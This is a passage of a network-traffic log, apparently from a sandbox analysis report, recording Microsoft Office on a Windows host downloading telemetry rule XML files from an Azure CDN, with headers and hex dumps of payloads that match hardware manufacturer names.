2024-10-18 21:46:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3d3525b4-b01e-0001-72d8-1e46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214621Z-16b659b4499hn29ks1ddp5hvac0000000d1g00000000xb8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ad3de8e9-901e-0064-05d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214621Z-15b8d89586fx2hlt035xdehq5800000005tg000000007d60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:21 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 68e1d423-f01e-005d-5bd8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214621Z-16b659b44994gzgd4bz42hx7vg0000000ay000000000v48y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0c01d776-601e-0084-1bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214622Z-16b659b4499j6g8p9q09hdsh100000000b6000000000m8sg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 84133f47-001e-0014-21d8-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214622Z-15b8d89586flzzksd4nk2msxr4000000050g00000000aabx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2ef95996-601e-0070-2cd8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214622Z-15b8d89586fzhrwg5nzgg1z60000000005s0000000008sdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 52ecab4f-901e-0029-78d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214622Z-16b659b44994c5rr2b3ze9shcc0000000b60000000002x7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ad3e2c7c-901e-0064-12d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214622Z-16b659b4499t9g2t855zkdgzd00000000ca0000000009a6b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:23 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7c8f42bd-c01e-002b-4eb9-206e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214623Z-r197bdfb6b4tq6ld2w31u8wmcc0000000c900000000062ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:23 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 0d9b9182-001e-0049-2f00-215bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214623Z-16b659b4499t9g2t855zkdgzd00000000c8g00000000f1dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 564eb929-001e-005a-7392-1fc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214623Z-r197bdfb6b49q495mwyebb3r6s000000026g000000003qc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:23 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
